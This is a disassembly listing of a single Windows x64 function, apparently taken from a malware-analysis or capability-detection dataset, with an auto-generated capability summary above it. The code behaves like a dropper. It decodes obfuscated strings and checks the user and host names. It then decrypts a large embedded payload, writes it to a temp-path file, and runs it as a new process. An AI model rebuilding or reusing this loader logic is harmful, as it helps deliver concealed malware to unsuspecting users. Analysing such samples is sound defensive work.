Function at 0x1400023b0
Capabilities:
Create process on windows
Get common file path
Get hostname
Get session user name
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
push r13
push r15
lea rbp, [rsp - 0x338]
sub rsp, 0x438
mov rax, qword [0x140034010]
xor rax, rsp
mov qword [rbp + 0x320], rax
call fcn.140001500
lea rdx, [rbp + 0x210]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
movabs rax, 0x6cacf213125a25aa
movabs rcx, 0x5b400ae3ad271f36
mov qword [rsp + 0x50], rax
xor r15d, r15d
mov rax, qword [rsp + 0x50]
movabs r13, 0x405ac64d2c9d974c
mov qword [rbp - 0x50], rax
mov rdi, 0xffffffffffffffff
movabs rax, 0x2574f43a49f4e12e
mov r8, rdi
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x48], rax
movabs rax, 0x68400022f06b3139
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x40], rax
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x38], rax
movabs rax, 0x9db9774763f56c7
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x1f0], rax
mov qword [rsp + 0x50], r13
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x68400022f06b5441
movdqa xmm0, xmmword [rbp + 0x1f0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x200], rax
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x50]
movdqa xmm1, xmmword [rbp - 0x40]
pxor xmm0, xmmword [rbp - 0x50]
mov qword [rbp + 0x208], rax
lea rax, [rbp - 0x50]
pxor xmm1, xmmword [rbp + 0x200]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
inc r8
cmp byte [rax + r8], r15b
jne 0x1400024f5
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.140002e00
lea rax, [rbp + 0x210]
mov r9, rdi
inc r9
cmp byte [rax + r9], r15b
jne 0x140002515
lea r8, [rbp + 0x210]
lea rcx, [rbp - 0x30]
call fcn.140003260
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000258c
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002587
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002587
call fcn.1400177bc
int3
call fcn.14000374c
mov qword [rsp + 0x460], rbx
mov ecx, 0x20
mov qword [rsp + 0x468], rsi
mov qword [rsp + 0x470], r12
mov qword [rsp + 0x430], r14
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], r15b
mov dword [rsp + 0x60], 0x2fcaa1bb
mov dword [rsp + 0x64], 0xf5674a06
mov dword [rsp + 0x68], 0x1155b418
mov dword [rsp + 0x6c], 0xaeab6c7
mov dword [rsp + 0x70], 0x692245d8
mov dword [rsp + 0x74], 0x36fc0f92
mov dword [rsp + 0x78], 0xe1cf63c0
mov dword [rsp + 0x7c], 0x11632801
call fcn.140003710
mov r8d, 0x20
mov qword [rbp + 0xf0], rax
lea rdx, [rsp + 0x60]
mov rcx, rax
lea rbx, [rax + 0x20]
mov qword [rbp + 0x100], rbx
call fcn.140014a50
mov ecx, 8
mov qword [rbp + 0xf8], rbx
mov dword [rsp + 0x58], 0x5d5439f2
mov dword [rsp + 0x5c], 0xf101f64c
call fcn.140003710
mov rcx, qword [rsp + 0x58]
movdqa xmm0, xmmword [0x140030dc0]
mov qword [rbp + 0xd8], rax
lea rdx, [rax + 8]
mov qword [rbp + 0xe8], rdx
mov qword [rax], rcx
lea rcx, [rbp + 0xb8]
mov qword [rbp + 0xe0], rdx
lea rdx, [rbp + 0x68]
mov qword [rbp + 0xb8], r15
movdqu xmmword [rbp + 0xc8], xmm0
mov dword [rbp + 0x68], 0x7fff
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
movdqa xmm0, xmmword [0x140030dc0]
lea rdx, [rbp + 0x6c]
lea rcx, [rbp + 0x98]
mov dword [rbp + 0x6c], 0x10
movdqu xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0x98], r15
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp qword [rbp + 0xb0], 0x10
lea r14, [rbp + 0x98]
mov rsi, qword [rbp + 0xa8]
movabs r12, 0x7fffffffffffffff
cmovae r14, qword [rbp + 0x98]
cmp rsi, 0x10
jae 0x14000270b
movups xmm0, xmmword [r14]
mov qword [rbp + 8], 0xf
movups xmmword [rbp - 0x10], xmm0
jmp 0x14000277b
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
cmova rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002755
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400027d9
mov rcx, rax
call fcn.140003710
mov rcx, rax
test rax, rax
je 0x1400027fd
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002764
test rcx, rcx
je 0x140002761
call fcn.140003710
jmp 0x140002764
mov rax, r15
lea r8, [rsi + 1]
mov qword [rbp - 0x10], rax
mov rdx, r14
mov rcx, rax
call fcn.140014a50
mov qword [rbp + 8], rbx
cmp qword [rbp + 0xd0], 0x10
lea r14, [rbp + 0xb8]
mov qword [rbp], rsi
mov rsi, qword [rbp + 0xc8]
cmovae r14, qword [rbp + 0xb8]
cmp rsi, 0x10
jae 0x1400027b5
movups xmm0, xmmword [r14]
mov qword [rbp + 0x28], 0xf
movups xmmword [rbp + 0x10], xmm0
jmp 0x140002829
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
cmova rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002803
lea rax, [rcx + 0x27]
cmp rax, rcx
ja 0x1400027df
call fcn.140001110
int3
mov rcx, rax
call fcn.140003710
mov rcx, rax
test rax, rax
je 0x1400027fd
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002812
call fcn.1400177bc
int3
test rcx, rcx
je 0x14000280f
call fcn.140003710
jmp 0x140002812
mov rax, r15
lea r8, [rsi + 1]
mov qword [rbp + 0x10], rax
mov rdx, r14
mov rcx, rax
call fcn.140014a50
mov qword [rbp + 0x28], rbx
lea rdx, [rbp - 0x10]
mov qword [rbp + 0x20], rsi
lea rcx, [rbp + 0x10]
call fcn.1400018c0
test eax, eax
jne 0x140002c54
cmp qword [rbp + 0x88], 0x10
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x30], r15
mov edx, 0x40000000
cmovae rcx, qword [rbp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
call fcn.140001580
mov ecx, 0x179227
call fcn.140003710
test rax, rax
je 0x140002c4e
lea rcx, [rax + 0x27]
xor edx, edx
and rcx, 0xffffffffffffffe0
mov r8d, 0x179200
mov qword [rcx - 8], rax
lea rbx, [rcx + 0x179200]
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x50], rcx
call fcn.140014860
xorps xmm0, xmm0
mov qword [rbp + 0x58], rbx
lea r8, [rbp + 0xd8]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x140]
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
call fcn.1400011b0
mov rsi, qword [rbp + 0x58]
mov rbx, qword [0x140035f18]
mov r8, rsi
mov rdx, qword [0x140035f10]
mov rcx, qword [rbp + 0x50]
sub rbx, rdx
sub r8, rcx
cmp rbx, r8
jae 0x14000291c
lea rax, [rcx + rbx]
jmp 0x140002962
jbe 0x140002966
mov rax, qword [rbp + 0x60]
sub rax, rcx
cmp rbx, rax
jbe 0x140002943
mov rdx, rbx
lea rcx, [rbp + 0x50]
call fcn.140001370
mov rdx, qword [0x140035f10]
mov rcx, qword [rbp + 0x50]
jmp 0x140002966
sub rbx, r8
xor edx, edx
mov r8, rbx
mov rcx, rsi
call fcn.140014860
mov rdx, qword [0x140035f10]
lea rax, [rsi + rbx]
mov rcx, qword [rbp + 0x50]
mov qword [rbp + 0x58], rax
mov r8, qword [0x140035f18]
mov rax, qword [rbp + 0x140]
sub r8, rdx
mov r9, qword [rbp + 0x158]
mov qword [rsp + 0x20], rax
call fcn.1400044a0
mov r8d, dword [rbp + 0x58]
lea r9, [rbp + 0x90]
mov rdx, qword [rbp + 0x50]
mov rcx, r14
sub r8d, edx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
test eax, eax
jne 0x1400029b7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0x9befa15115a21ea
lea rdx, [0x140030a44]
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x30]
mov rax, qword [rsp + 0x50]
mov r8d, 1
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x50], r13
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x78], rax
movabs rax, 0x9db9774763f56c7
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x1e0], rax
mov qword [rsp + 0x50], r13
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x1e8], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], 0xf
call fcn.140002e00
cmp qword [rbp + 0x88], 0x10
lea r8, [rbp + 0x70]
mov r9, qword [rbp + 0x80]
lea rcx, [rbp + 0x30]
cmovae r8, qword [rbp + 0x70]
call fcn.140003260
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
lea rax, [rbp - 0x80]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], r15b
jne 0x140002a90
mov rdx, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x60]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140002add
cmp rdx, 0x10
lea rax, [rcx + rdi]
lea rbx, [rbp - 0x70]
mov qword [rbp - 0x60], rax
cmovae rbx, qword [rbp - 0x70]
lea rdx, [rbp - 0x80]
add rbx, rcx
mov r8, rdi
mov rcx, rbx
call fcn.140014a50
lea rax, [rbp - 0x70]
mov byte [rdi + rbx], r15b
jmp 0x140002af2
lea r9, [rbp - 0x80]
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x70]
call fcn.1400030d0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x108], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x118], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140002b4d
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b48
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b8f
call fcn.14000374c
mov rdx, qword [rbp + 0x48]
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r15b
cmp rdx, 0x10
jb 0x140002b9a
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b95
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b95
call fcn.1400177bc
int3
call fcn.14000374c
xorps xmm0, xmm0
mov dword [rbp + 0x170], 0x68
xor eax, eax
mov rcx, r14
movups xmmword [rbp + 0x174], xmm0
mov dword [rbp + 0x1d4], eax
movups xmmword [rbp + 0x184], xmm0
mov qword [rbp + 0x138], rax
movups xmmword [rbp + 0x194], xmm0
movups xmmword [rbp + 0x1a4], xmm0
movups xmmword [rbp + 0x1b4], xmm0
movups xmmword [rbp + 0x1c4], xmm0
movups xmmword [rbp + 0x128], xmm0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x120], 0x10
lea rax, [rbp + 0x128]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x108]
cmovae rdx, qword [rbp + 0x108]
lea rax, [rbp + 0x170]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r15
xor r8d, r8d
mov qword [rsp + 0x30], r15
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140002c54
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400177bc
int3
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]